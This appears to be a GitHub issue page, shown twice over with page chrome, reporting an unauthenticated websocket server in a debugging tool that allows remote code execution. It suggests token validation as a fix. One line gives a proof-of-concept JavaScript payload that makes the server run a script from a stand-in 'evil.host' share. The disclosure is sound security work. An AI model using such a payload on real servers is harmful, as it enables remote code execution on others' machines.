You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
According to #5 remote host is planned to be supported.
There is no authentication for the socket server yet. So an attacker may be able to communicate with the server and trigger a remote code execution:
Luckily tornado has Origin validation by default, which means if the HOST is 127.0.0.1, the attacker can not talk to the backend from a web browser unless he's got a UXSS. But when using this utility for remote debugging (e.g., Host = '0.0.0.0'), it is possible for the attacker to spoof the Origin header and trigger a 0click rce.
Maybe adding a random token validation upon connection can avoid such problem
The text was updated successfully, but these errors were encountered:
Thanks for opening up this issue. I will definitely track it along with #5. Exposing the server in this manner is at this stage discouraged (as mentioned by the README) but it's still an important feature and will find an implementation in the near future.
According to #5 remote host is planned to be supported.
There is no authentication for the socket server yet. So an attacker may be able to communicate with the server and trigger a remote code execution:
ws.send(new Blob([JSON.stringify({event: 'execute_script', path: '\\\\evil.host\\calc.py'})]))
Luckily tornado has
Origin
validation by default, which means if theHOST
is127.0.0.1
, the attacker can not talk to the backend from a web browser unless he's got a UXSS. But when using this utility for remote debugging (e.g.,Host = '0.0.0.0'
), it is possible for the attacker to spoof theOrigin
header and trigger a 0click rce.Maybe adding a random token validation upon connection can avoid such problem
The text was updated successfully, but these errors were encountered: